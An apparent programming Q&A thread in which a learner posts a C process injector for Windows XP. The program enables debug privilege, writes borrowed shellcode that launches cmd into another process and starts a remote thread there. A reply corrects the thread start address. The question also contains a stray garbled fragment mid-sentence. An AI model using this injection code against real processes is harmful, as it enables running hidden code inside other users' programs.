Windows Process injection crash

this is my first semi-major C project. I'm a self taught programmer so if my code has 开发者_Go百科any major flaws OR if you happen to have any tips for me, please point them out, I'm very eager to learn. Thank you.

Anyway, I decided to code a process injector for windows, as title says, and I every time I attempt to inject the windows XP SP2 calc into designated process, it crashes. The reason I had decided to make it XP based was because this is a test version/POC/whatever.

Is this because the shellcode is only applicable for specific processes? I had attempted different processes, explorer.exe, firefox.exe, etc. Still crashes. Oh, and FYI my ASM isn't the best so I borrowed some shellcode from shell-storm

Also, how does the code look? I had some problems understanding the MSDN API for some of the psapi / windows parameters. It seemed kind of vague, and it was kind of hard to find examples online for some of my questions.

#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#define BYTESIZE 100

void ProcessIdentf(DWORD ProcessID);
//Required for Process Handling rights
int SeDebugMode(HANDLE ProcessEnabled, LPCTSTR Base_Name);

int main(void){
    //x86 | Windows XP SP2 | calc.exe call
    //POC data
    unsigned char call_calc[] =
    "\x31\xc0\xeb\x13\x5b\x88\x43\x0e\x53\xbb\xad\x23\x86\x7c\xff\xd3\xbb"
    "\xfa\xca\x81\x7c\xff\xd3\xe8\xe8\xff\xff\xff\x63\x6d\x64\x2e\x65\x78"
    "\x65\x20\x2f\x63\x20\x63\x6d\x64";
    //Process HANDLE && Process Identifier WORD
    HANDLE FfHandle;
    int ProcID;
    //VirtualAllocMemPnter
    LPVOID lpv = NULL;
    //Typecasted pointer to Shellcode
    char* shellptr = call_calc;
    //Handle for CreateRemoteThread function
    HANDLE ControlStructRemote;
    //Number of bytes successfully executed
    SIZE_T bytescom;
    //Data for Process enumeration
    DWORD xyProcesses[1024]; //Max_Proc
    DWORD abProcesses, cntbNeeded;
    unsigned int c;
    printf("POC version x00.\nInjects example x86 shellcode into process.\n");
    SeDebugMode(GetCurrentProcess(), SE_DEBUG_NAME);
    printf("SE_DEBUG_PRIVILEGE successfully enabled.\nPrinting process' eligable for  injection\n");
    Sleep(10000);
    if(!EnumProcesses(xyProcesses, sizeof(xyProcesses), &cntbNeeded)){
        exit(1);
    }
    abProcesses = cntbNeeded / sizeof(DWORD);
    //Enumerate processes owned by current user
    for(c = 0; c &lt; abProcesses; c++){
        if(xyProcesses[c] != 0){
            ProcessIdentf(xyProcesses[c]);
        }
    }
    printf("Process PID required\n");
    scanf("%d", &ProcID);
    FfHandle = OpenProcess(PROCESS_ALL_ACCESS,
    FALSE,
    ProcID);
    lpv = VirtualAllocEx(FfHandle,
    NULL,
    BYTESIZE,
    MEM_COMMIT,
    0x40); //PAGE_EXECUTE_READWRITE
    if(WriteProcessMemory(FfHandle, lpv, &shellptr, sizeof(shellptr), &bytescom) != 0){
        ControlStructRemote = CreateRemoteThread(FfHandle,
        0,
        0,
        (DWORD (__stdcall*) (void*)) shellptr,
        0,
        0,
        0);
        if(ControlStructRemote){
            printf("POC shellcode successful.\n");
        }
        else{
            printf("Failure, CreateRemoteThread could not spawn a remote thread or failed to exec in target process\n");
        }
    }
    return 0;
}

void ProcessIdentf(DWORD ProcID){
    //Enumerates PID and modules. Prints. Implement in loop
    //unicode char, max ntfs datafile
    TCHAR szProcessname[MAX_PATH] = TEXT("&lt;unknown&gt;");
    //open proc handle
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,
    FALSE, ProcID);
    //enum modules
    if(NULL != hProcess){
        HMODULE hMod;
        DWORD cbNeed;
        if(EnumProcessModules(hProcess,&hMod, sizeof(hMod),&cbNeed))
        {
            GetModuleBaseName(hProcess, hMod, szProcessname,
            sizeof(szProcessname)/sizeof(TCHAR));
        }
    }
    //print PID
    printf("%s PID: %u\n", szProcessname, ProcID);
    //close processhandle
    CloseHandle(hProcess);
}

int SeDebugMode(HANDLE xyProcess, LPCTSTR DebugPriv){
    HANDLE hTokenProc;
    LUID xDebugVal;
    TOKEN_PRIVILEGES tPriv;
    if(OpenProcessToken(xyProcess,
    TOKEN_ADJUST_PRIVILEGES,
    &hTokenProc)){
        if(LookupPrivilegeValue(NULL, DebugPriv, &xDebugVal)){
            tPriv.PrivilegeCount = 1;
            tPriv.Privileges[0].Luid = xDebugVal;
            tPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            AdjustTokenPrivileges(hTokenProc,
            FALSE,
            &tPriv,
            sizeof(TOKEN_PRIVILEGES),
            NULL,
            NULL
            );
            if(GetLastError() == ERROR_SUCCESS){
                return TRUE;
            }
        }
    }
    return FALSE;
}

You create the remote thread at shellptr, but it should be lpv where you wrote the code to.

BTW, try to avoid PROCESS_ALL_ACCESS, only specify what exact access you need (it's all on MSDN for each API)